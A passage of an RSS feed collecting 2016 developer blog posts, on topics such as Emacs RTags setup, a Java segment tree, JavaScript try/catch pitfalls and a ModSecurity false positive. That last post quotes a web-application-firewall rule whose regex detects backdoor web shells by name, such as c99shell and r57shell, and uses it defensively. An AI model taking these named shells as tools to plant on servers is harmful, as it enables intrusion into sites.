series:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/2015/08/09/ram-is-the-new-disk-and-how-to-measure-its-performance-part-1/" target="_blank"&gt;RAM is the new disk – Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/2015/09/21/ram-is-the-new-disk-and-how-to-measure-its-performance-part-2-tools/" target="_blank"&gt;RAM is the new disk – tools for measuring CPU efficiency and RAM access&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/2015/11/30/ram-is-the-new-disk-and-how-to-measure-its-performance-part-3-cpu-instructions-cycles/" target="_blank"&gt;RAM is the new disk – Columnar vs Row-oriented data access test results&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’m using the Oracle Database In-Memory option as an example here, but the same rules apply to other row &amp;amp; column stores as well.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Mon, 28 Mar 2016 08:39:25 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2016/03/27/gnw01-in-memory-processing-for-databases/</guid></item><item><title>Emacs Objective-C tagging with RTags</title><link>https://xenodium.com/emacs-objective-c-tagging-with-rtags</link><description>&lt;h2&gt;Install libclang on Mac&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install llvm --with-clang
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Install RTags&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;git clone --recursive https://github.com/Andersbakken/rtags.git
cd rtags
cmake -DCMAKE_PREFIX_PATH=/Users/your-user-name/homebrew/opt/llvm -DCMAKE_EXPORT_COMPILE_COMMANDS=1 .
make
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Start RTags daemon&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;path/to/rtags/bin/rdm 2&amp;gt; /tmp/rdm.log
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Compilation database&lt;/h2&gt;
&lt;h3&gt;Install xctool&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install xctool
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate a compilation database&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;cd path/to/your/objc-project
xctool -sdk iphonesimulator -arch x86_64 -scheme SomeScheme -reporter pretty -reporter json-compilation-database:compile_commands.json clean build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Load compilation database&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;path/to/rtags/bin/rc -J path/to/your/objc-project/compile_commands.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Install RTags Emacs package&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package rtags :ensure t
  :config
  (setq rtags-use-helm t) ;; Optional. Enable if helm fan (I am!).
  (setq rtags-path &amp;quot;path/to/rtags/bin/&amp;quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ready to go&lt;/h2&gt;
&lt;p&gt;Use any of the rtags interactive commands. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;M-x rtags-find-symbol
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Andersbakken/rtags#tldr-quickstart"&gt;RTags TLDR Quickstart&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://syamajala.github.io/c-ide.html"&gt;Emacs as C++ IDE&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 28 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-objective-c-tagging-with-rtags</guid></item><item><title>Anvil howto: view styling</title><link>https://zserge.com/posts/anvil-howto-style-views/</link><description>A common question I hear about Anvil is how to style views.
Let&amp;rsquo;s recall how it&amp;rsquo;s been traditionally done in Android. Here&amp;rsquo;s an example from the Android Developers website:
&amp;lt;TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:textColor="#00FF00" android:typeface="monospace" android:text="@string/hello" /&amp;gt; If you have a lot of views like this - most likely you would like to move repetitive code into a single place and just keep a reference to them in the layout. That&amp;rsquo;s what we call a style - a reusable set of view attributes.</description><author>zserge's blog</author><pubDate>Mon, 28 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/anvil-howto-style-views/</guid></item><item><title>The evolution of Android architecture</title><link>https://zserge.com/posts/android-mvp-mvvm-redux-history/</link><description>Android is probably the second most popular development platform after the web. Web development practices tend to change every month if not every week. As soon as a tool or a library becomes mature and stable - they call it deprecated and seek for a new replacement. Now let&amp;rsquo;s see how Android development tools and paradigms have evolved over the past few years and how it compares to the web.</description><author>zserge's blog</author><pubDate>Mon, 28 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/android-mvp-mvvm-redux-history/</guid></item><item><title>Things I don't understand: Bayes theorem</title><link>https://zrkrlc.com/notes/things-i-dont-understand-bayes-theorem/1459037220/</link><description>In which I lay down foundationsProbability is interesting to me for two reasons:</description><author>Junk Heap Homotopy</author><pubDate>Sun, 27 Mar 2016 02:07:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/things-i-dont-understand-bayes-theorem/1459037220/</guid></item><item><title>Links - March 27th, 2016</title><link>https://faingezicht.com/links/2016/03/27/links/</link><description/><author>Avy Faingezicht</author><pubDate>Sun, 27 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/27/links/</guid></item><item><title>A walk through The Mission</title><link>https://faingezicht.com/photos/2016/03/27/mission/</link><description>Today we walked from Hannah's apartment to Potrero Hill.</description><author>Avy Faingezicht</author><pubDate>Sun, 27 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/03/27/mission/</guid></item><item><title>Should you use MongoDB as a drop-in SQL replacement?</title><link>https://goshacmd.com/should-you-use-mongodb-as-a-drop-in-replacement-for-sql/</link><author>Gosha Spark</author><pubDate>Sun, 27 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/should-you-use-mongodb-as-a-drop-in-replacement-for-sql/</guid></item><item><title>Segment tree implementation in Java</title><link>https://allanrbo.blogspot.com/2016/03/segment-tree-implementation-in-java.html</link><description>Inspired by &lt;a href="https://kartikkukreja.wordpress.com/2014/11/09/a-simple-approach-to-segment-trees/"&gt;Kartik Kukreja's implementation&lt;/a&gt;, but storing all data in a tree node class, rather than an array. I find it a lot easier to comprehend this way.

&lt;br /&gt;
&lt;pre class="java" name="code"&gt;
class SegmentTreeNode {
    public int aggregateValue;
    public SegmentTreeNode left;
    public SegmentTreeNode right;
    public int origLowIndex;
    public int origHighIndex;
}

class SegmentTreeTest {

    public static SegmentTreeNode buildSegmentTree(int[] a, int low, int high) {
        SegmentTreeNode n = new SegmentTreeNode();
        n.origLowIndex = low;
        n.origHighIndex = high;

        if(low == high) {
            n.aggregateValue = a[low];
            return n;
        }

        int mid = (high - low)/2 + low;

        n.left = buildSegmentTree(a, low, mid);
        n.right = buildSegmentTree(a, mid+1, high);

        // This segment tree is for summation. Could also be min, max, or any other associative func.
        n.aggregateValue = n.left.aggregateValue + n.right.aggregateValue;

        return n;
    }

    public static SegmentTreeNode getAggregateValue(SegmentTreeNode n, int low, int high) {
        if(n.origLowIndex == low &amp;amp;&amp;amp; n.origHighIndex == high) {
            return n;
        }

        // The interval is fully contained within the left node
        if(low &amp;gt;= n.left.origLowIndex &amp;amp;&amp;amp; high &amp;lt;=  n.left.origHighIndex) {
            return getAggregateValue(n.left, low, high);
        }

        // The interval is fully contained within the right node
        if(low &amp;gt;= n.right.origLowIndex &amp;amp;&amp;amp; high &amp;lt;=  n.right.origHighIndex) {
            return getAggregateValue(n.right, low, high);
        }

        // Split into queries on the left subtree and the right subtree
        SegmentTreeNode leftResult = getAggregateValue(n.left, low, n.left.origHighIndex);
        SegmentTreeNode rightResult = getAggregateValue(n.right, n.right.origLowIndex, high);
        SegmentTreeNode result = new SegmentTreeNode();
        result.origLowIndex = low;
        result.origHighIndex  = high;

        // This segment tree is for summation. Could also be min, max, or any other associative func.
        result.aggregateValue = leftResult.aggregateValue + rightResult.aggregateValue;

        return result;
    }

    public static void update(SegmentTreeNode n, int index, int val) {
        if(n.origLowIndex == index &amp;amp;&amp;amp; n.origHighIndex == index) {
            n.aggregateValue = val;
            return;
        }

        if(n.left.origLowIndex &amp;lt;= index &amp;amp;&amp;amp; index &amp;lt;= n.left.origHighIndex) {
            update(n.left, index, val);
        } else {
            update(n.right, index, val);
        }

        // This segment tree is for summation. Could also be min, max, or any other associative func.
        n.aggregateValue = n.left.aggregateValue + n.right.aggregateValue;
    }

    public static void main(String[] args) {
        //                    0  1  2  3  4  5  6  7  8   9  10
        int[] a = new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 };
        SegmentTreeNode r = buildSegmentTree(a, 0, a.length-1);
        System.out.println(r.aggregateValue);

        System.out.println(getAggregateValue(r, 1, 3).aggregateValue);
        System.out.println(getAggregateValue(r, 4, 7).aggregateValue);

        update(r, 2, 10);
        System.out.println(r.aggregateValue);

        System.out.println(getAggregateValue(r, 4, 7).aggregateValue);
        System.out.println(getAggregateValue(r, 1, 3).aggregateValue);
    }
}
&lt;/pre&gt;</description><author>Allan's Blog</author><pubDate>Fri, 25 Mar 2016 21:35:31 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2016/03/segment-tree-implementation-in-java.html</guid></item><item><title>Game21</title><link>http://www.nuke24.net/plog/6.html</link><author>TOGoS's Project Log</author><pubDate>Fri, 25 Mar 2016 20:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/6.html</guid></item><item><title>Creating a Presto Cluster</title><link>https://www.danielcorin.com/posts/2016/2016-03-25-presto-cluster/</link><description>Creating a Presto Cluster</description><author>Thought Eddies</author><pubDate>Fri, 25 Mar 2016 19:19:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-03-25-presto-cluster/</guid></item><item><title>LVM snapshots</title><link>https://gist.github.com/mhitza/15a56a20ac80b456cda6</link><description>A great feature to use when experimenting with different system setups. I no longer have to worry about polluting my system with extra packages when I want to test a new desktop environment, or a new driver version, or even a botched system installation. With LVM I can snapshot a working system and restore it if something goes wrong.</description><author>personal code attic</author><pubDate>Thu, 24 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://gist.github.com/mhitza/15a56a20ac80b456cda6</guid></item><item><title>javascript try catch is fail</title><link>https://peterlyons.com/problog/2016/03/javascript-try-catch-is-fail/</link><description>&lt;p&gt;It is possible to write solid javascript code almost entirely without using try/catch. The only common standard library function that requires it is &lt;code&gt;JSON.parse&lt;/code&gt;. Almost everything else will expose environmental/input errors with some other mechanism (usually a special value or surprising behavior).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;parseInt('turkey sandwich', 10)&lt;/code&gt; returns &lt;code&gt;NaN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;parseFloat("I'm on a boat")&lt;/code&gt; returns &lt;code&gt;NaN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;new Date("St Swiven's Day")&lt;/code&gt; returns &lt;code&gt;Invalid Date&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Math.max('tomato', 'potato')&lt;/code&gt; returns &lt;code&gt;NaN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;15/0&lt;/code&gt; evaluates to &lt;code&gt;Infinity&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;'home'.slice('biscuit')&lt;/code&gt; returns &lt;code&gt;'home'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Errors of any kind when dealing with &lt;code&gt;XMLHttpRequest&lt;/code&gt; will not produce exceptions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="error-first-callbacks-and-es5-are-ok"&gt;Error-first callbacks and ES5 Are OK&lt;/h3&gt;
&lt;p&gt;This, while contributing to JavaScript's "WAT" factor, is actually a good situation, all things considered. It is good because it leaves exceptions to represent ONLY programmer errors and never operational errors. Operational errors are problems with the environment such as invalid user input, failed network communication, no disk space left, etc. They can be resolved without changing the program code itself. Programmer errors on the other hand indicate a flaw in the program code that can only be fixed by correcting the source code. For further information on this distinction, I highly recommend this archived version of a Joyent blog post on &lt;a href="https://web.archive.org/web/20140401155055/https://www.joyent.com/developers/node/design/errors"&gt;Error Handling in Node.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the vast majority of node code I've written, which uses the node error-first callback convention, I end up with the following properties&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any exception thrown represents a programmer error (excluding JSON.parse as mentioned)&lt;/li&gt;
&lt;li&gt;All operational errors are represented as either error-first callbacks or &lt;code&gt;error&lt;/code&gt; events emitted
&lt;ul&gt;
&lt;li&gt;This is largely due to the async event loop constantly unwinding the stack, making try/catch/throw effectively useless&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus I can set up a &lt;code&gt;process.on('uncaughtException')&lt;/code&gt; handler and confidently exit my program knowing if that event ever fires, it's a programmer error, and as discussed in the "Error Handling in Node.js" article, exiting with an error and restarting is the correct thing to do.&lt;/p&gt;
&lt;p&gt;Now, this does require discipline to properly handle all error-first callbacks and some boilerplate comes with that. Failing to do so risks operational errors going undetected, but usually within a few lines of code, those operational errors are inadvertently escalated to programmer errors when you try to access the first record in a database query result array, which is undefined because the query failed and you ignored the error. &lt;strong&gt;Operational errors eventually manifesting as impostor programmer errors are pretty bad (but...)&lt;/strong&gt;. I do see YOLO-ignore-the-error code occasionally in my consulting practice, but I'm usually able to make a convincing argument that all errors must be at the very least logged if you don't want to spend days debugging odd program behavior.&lt;/p&gt;
&lt;h3 id="es2017-async-await-ruins-this"&gt;ES2017 async/await ruins this&lt;/h3&gt;
&lt;p&gt;Part of my motivation to write this post was exasperation encountering my first bleeding-edge babel/ES2015/ES20XX project that combines &lt;a href="https://tc39.github.io/ecmascript-asyncawait/"&gt;async functions&lt;/a&gt; (Slated for ES2017), the await keyword, promises, and try/catch. You get code looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
  let user = await db.users.getOrThrow({email})
  res.sedn(user.toJSON())
} catch (nouser) {
  res.status(404).send(&amp;#x27;user not found&amp;#x27;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem is this masks a programmer error as an operational error. What happens in the scenario I'm so concerned about is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DB query runs and finds the user, returns it&lt;/li&gt;
&lt;li&gt;await/promise do their magic and let this look like synchronous code&lt;/li&gt;
&lt;li&gt;we try to send success, but there's a typo: &lt;code&gt;res.sedn&lt;/code&gt; instead of &lt;code&gt;res.send&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;this throws an exception, our good friend "is not a function"&lt;/li&gt;
&lt;li&gt;the API is designed to indicate record not found with an exception
&lt;ul&gt;
&lt;li&gt;I consider this a poor design, but it exists&lt;/li&gt;
&lt;li&gt;specifically the bookshelf.js ORM has a &lt;code&gt;.fetch({require: true})&lt;/code&gt; API that does precisely this&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;the catch block catches it, miscategorises it as an operational error, and sends a 404, when the correct behavior would be to send a 500 and exit the process nonzero&lt;/li&gt;
&lt;li&gt;Nobody notices this&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;(...)Programmer errors hiding as operational errors is worse&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="freaking-out"&gt;Freaking out&lt;/h3&gt;
&lt;p&gt;So with ES2017 the combination of await, implicit promises, and try/catch for error handling seems to me like this scenario is going to become increasingly common, and I'm worried about how I can actually still detect programmer errors and exit. The duck typing of exception instances in javascript is sufficiently undefined, unimplemented, and unreliable that I doubt you can reliably distinguish unless you have a complete and well-understood catalog of all possible operational exceptions a block of code might generate, which I don't think is feasible without slimming your &lt;code&gt;try&lt;/code&gt; blocks down to a single operation, which loses a primary proposed benefit of try/catch in reduction of error handling boilerplate.&lt;/p&gt;
&lt;h3 id="what-s-to-be-done"&gt;What's to be done?&lt;/h3&gt;
&lt;p&gt;At the moment, I'm not sure how this is going to play out. I'm sticking to ES5 and callbacks for now. I think exceptions should represent programmer errors and never be used for control flow nor for operational errors. That's why they have stack traces, and that should be their sole purpose. But I'd love to hear your thoughts and suggestions, so post a comment here via disqus (click "Show Comments" below) if that's your thing or take it to twitter or hackernews etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 2017-11-04&lt;/strong&gt;: Eran Hammer is proposing &lt;a href="https://hapi.dev/module/bounce/"&gt;Bounce&lt;/a&gt; as a solution to this problem, and it looks promising.&lt;/p&gt;
&lt;h3 id="see-also"&gt;See Also&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://staltz.com/promises-are-not-neutral-enough.html"&gt;Promises are not neutral enough&lt;/a&gt;.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Wed, 23 Mar 2016 16:32:56 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/03/javascript-try-catch-is-fail/</guid></item><item><title>I finally figured out my mysterious 418/Unused HTTP Status Code</title><link>https://duncanlock.net/blog/2016/03/22/finally-figured-out-my-mysterious-418unused-http-status-code-dreamhost/</link><description>&lt;figure class="image-block"&gt;&lt;img alt="Blueprint style diagram showing a Teapot." src="https://duncanlock.net/images/posts/finally-figured-out-my-mysterious-418unused-http-code-dreamhost/teapot.png" /&gt;
&lt;figcaption&gt;Figure 1. A teapot, cut in half. Sort of. Original clipart Kitchen Utensils Silhouette, by &lt;span class="caps"&gt;GDJ&lt;/span&gt;, Public Domain. &lt;a href="https://en.wikipedia.org/wiki/Teapot"&gt;More on Teapots&lt;/a&gt;.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;I&amp;#8217;ve had a mysterious broken page on this site for a while - but been too busy to look into it. My &lt;a href="https://duncanlock.net/blog/2013/08/27/comprehensive-linux-backups-with-etckeeper-backupninja/"&gt;Comprehensive Linux Backups with etckeeper &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; backupninja&lt;/a&gt; article has been refusing to load, and returning a weird &lt;span class="caps"&gt;HTTP&lt;/span&gt; 418 Unused status code instead. I finally made the time to figure out the&amp;nbsp;cause.&lt;/p&gt;
&lt;p&gt;It turned out that this was being caused by the Apache/&lt;span class="caps"&gt;PHP&lt;/span&gt; &lt;code&gt;mod_security&lt;/code&gt; module. This is a static website - there&amp;#8217;s no &lt;span class="caps"&gt;PHP&lt;/span&gt; anywhere - so why would that be a problem? Well, so far I&amp;#8217;ve been very happily hosting the site on my old DreamHost shared hosting account - which comes with Apache &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; &lt;span class="caps"&gt;PHP&lt;/span&gt; installed whether you want it or not. At some point I must have checked the &lt;a href="https://help.dreamhost.com/hc/en-us/articles/215947927"&gt;&amp;#8216;Extra Web Security?&amp;#8217; option in the DreamHost control panel&lt;/a&gt; for this&amp;nbsp;domain.&lt;/p&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_checking_the_logs"&gt;Checking the&amp;nbsp;Logs&lt;/h2&gt;&lt;p&gt;I &lt;span class="caps"&gt;SSH&lt;/span&gt;&amp;#8217;d in to my account on the shared server to look at the logs. The apache &lt;code&gt;error.log&lt;/code&gt; for the site had lots of the following&amp;nbsp;entries:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;[Tue Mar 22 01:17:39 2016] [error] [client 24.84.4.121] ModSecurity: Access denied with code 418 (phase 4). Pattern match "(?:&amp;lt;title&amp;gt;[^&amp;lt;]*?(?:\\\\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\\\\b|imhabi
rligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\\\\b|\\\\.::(?:news remote php shell injection::\\\\.| rhtools\\\\b)|ph(?:p(?:(?: commander|-terminal)\\\\b|remot ..." at RESPONSE_BODY. [
file "/dh/apache2/template/etc/mod_sec2/modsecurity_crs_45_trojans.conf"] [line "34"] [id "950922"] [msg "Backdoor access"] [severity "CRITICAL"] [tag "MALICIOUS_SOFTWARE/TROJAN"] [hostname "duncanlock.net"]
  [uri "/blog/2013/08/27/comprehensive-linux-backups-with-etckeeper-backupninja/index.html"] [unique_id "VvD-o9BxuqUAAGqPBDYAAAAA"]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Line 34 of the &lt;code&gt;.conf&lt;/code&gt; file that it&amp;nbsp;references:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;  /dh/apache2/template/etc/mod_sec2/modsecurity_crs_45_trojans.conf&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;looks like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;SecRule RESPONSE_BODY "(?:&amp;lt;title&amp;gt;[^&amp;lt;]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| rhtools\b)|ph(?:p(?:(?: commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft windows\b.{,10}?\bversion\b.{,20}?\(c\) copyright 1985-.{,10}?\bmicrosoft corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer &lt;span class="ss"&gt;and&lt;/span&gt; read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.&amp;lt;br&amp;gt;|drwxr))" \
        &lt;span class="err"&gt;"&lt;/span&gt;phase:4,ctl:auditLogParts=+E,deny,log,auditlog,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severity:'2'"&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This rather large regular expression  &lt;em&gt;just happened&lt;/em&gt; to match a perfectly innocent piece of text in my &lt;a href="https://duncanlock.net/blog/2013/08/27/comprehensive-linux-backups-with-etckeeper-backupninja/"&gt;Comprehensive Linux Backups with etckeeper &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; backupninja&lt;/a&gt; article - specifically, this directory listing matched the &lt;code&gt;|drwxr))&lt;/code&gt; bit at the end of that&amp;nbsp;regex:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; /etc/backup.d/
&lt;span class="go"&gt;
total 40K
drwxrwx---   2 root root 4.0K May 19 16:54 .
drwxr-xr-x 154 root root  12K May 19 15:25 ..
-rw-------   1 root root 1.4K May 19 16:54 10-little-things.sh
&lt;/span&gt;&lt;span class="c"&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This caused Apache&amp;#8217;s &lt;a href="https://github.com/SpiderLabs/ModSecurity"&gt;&lt;code&gt;mod_security&lt;/code&gt;&lt;/a&gt; to eat requests for that page, and DreamHost to return a 418 error&amp;nbsp;instead:&lt;/p&gt;
&lt;div class="quote-block"&gt;&lt;blockquote&gt;&lt;p&gt;This code was defined in 1998 as one of the traditional &lt;a href="https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force"&gt;&lt;span class="caps"&gt;IETF&lt;/span&gt;&lt;/a&gt; &lt;a href="https://en.wikipedia.org/wiki/April_Fools%27_Day_RFC"&gt;April Fools&amp;#8217; jokes&lt;/a&gt;, in &lt;a href="https://tools.ietf.org/html/rfc2324"&gt;&lt;span class="caps"&gt;RFC&lt;/span&gt; 2324&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol"&gt;Hyper Text Coffee Pot Control Protocol&lt;/a&gt;, and is not expected to be implemented by actual &lt;span class="caps"&gt;HTTP&lt;/span&gt; servers. The &lt;span class="caps"&gt;RFC&lt;/span&gt; specifies this code should be returned by tea pots requested to brew coffee. This &lt;span class="caps"&gt;HTTP&lt;/span&gt; status is used as an easter egg in some websites, including&amp;nbsp;Google.com.&lt;/p&gt;&lt;footer&gt;&amp;#8212; &lt;cite&gt;&lt;a class="bare" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/418"&gt;https://developer.mozilla.org/en-&lt;span class="caps"&gt;US&lt;/span&gt;/docs/Web/&lt;span class="caps"&gt;HTTP&lt;/span&gt;/Status/418&lt;/a&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;/div&gt;
&lt;p&gt;I guess it&amp;#8217;s easy to see in logs and is unlikely to be caused by anything else. Took me a while to figure out where it was coming from,&amp;nbsp;though.&lt;/p&gt;&lt;/section&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_fixing_it"&gt;Fixing&amp;nbsp;it&lt;/h2&gt;&lt;p&gt;The simplest fix for this is to just uncheck the &lt;a href="https://help.dreamhost.com/hc/en-us/articles/215947927"&gt;&amp;#8216;Extra Web Security?&amp;#8217; option in the DreamHost control panel&lt;/a&gt; for this domain. You have to wait a few minutes for the change to happen, but after that, the page should start&amp;nbsp;working.&lt;/p&gt;
&lt;p&gt;What I &lt;em&gt;actually&lt;/em&gt; decided to do was to take advantage of the static nature of the site - and experiment with hosting this blog directly on Amazon S3. I&amp;#8217;ll cover that in another article, if I decide to stick with&amp;nbsp;it.&lt;/p&gt;&lt;/section&gt;</description><author>duncan­lock­.net</author><pubDate>Wed, 23 Mar 2016 07:21:19 GMT</pubDate><guid isPermaLink="true">https://duncanlock.net/blog/2016/03/22/finally-figured-out-my-mysterious-418unused-http-status-code-dreamhost/</guid></item><item><title>Spelunking series: React Native</title><link>https://zrkrlc.com/notes/spelunking-series-react-native/1458615300/</link><description>In which I try to avoid Hell as much as I canI've heard a LOT of things, good and bad, about React Native (or RN for short) so I have decided to do a bit of prodding. I'm going to start with this tutorial and hopefully it will take me to a place I didn't know I wanted to be in.</description><author>Junk Heap Homotopy</author><pubDate>Tue, 22 Mar 2016 04:55:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/spelunking-series-react-native/1458615300/</guid></item><item><title>Society, Hacking, Anonymity, Mystification, and Hysteria</title><link>https://venam.net/blog/psychology/2016/03/22/cyber-punk.html</link><description>Hello fellow readers,  This post is a refresh on correlated subjects I've discussed in the past.  I'm revisiting them considering the recent media coverage.  Social awakening is at the door.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 21 Mar 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/psychology/2016/03/22/cyber-punk.html</guid></item><item><title>The SAPA Project</title><link>https://zrkrlc.com/notes/the-sapa-project/1458541500/</link><description>The Ghost of Testing PastThe SAPA project is a personality assessment tool. It has "synthetic aperature" in its name because its brainparents thought, "Hey, what comes to mind when you combine little things to yield a single big thing? That's right. Radio astronomy." The VLA looks like this:</description><author>Junk Heap Homotopy</author><pubDate>Mon, 21 Mar 2016 08:25:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/the-sapa-project/1458541500/</guid></item><item><title>Links - March 21st, 2016</title><link>https://faingezicht.com/links/2016/03/21/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 21 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/21/links/</guid></item><item><title>Custom scroll bars</title><link>https://muffinman.io/blog/custom-scroll-bars/</link><description>&lt;article class="article"&gt;&lt;p&gt;Generally when comes to replacing native UI components, I&amp;#x27;m strongly against it.
But, we&amp;#x27;ve all been there, when the client insists on it.&lt;/p&gt;
&lt;p&gt;You&amp;#x27;ll see how to style it via CSS (webkit only),
apply pure JavaScipt plugin with native scrolling or apply simple CSS hack.&lt;/p&gt;
&lt;p&gt;Well, let&amp;#x27;s go :)&lt;/p&gt;
&lt;h3 id="css-solution-but-only-for-webkit"&gt;CSS solution, but only for webkit &lt;a class="anchor-link" href="#css-solution-but-only-for-webkit"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Webkit scrollbars can be styles via CSS. This is great, but still not cross browser.
CSS tricks has a &lt;a href="https://css-tricks.com/custom-scrollbars-in-webkit/"&gt;great article&lt;/a&gt; on it.&lt;/p&gt;
&lt;p&gt;You can use pseudo selectors, these ones are used in the demo:&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token pseudo-element"&gt;::-webkit-scrollbar&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
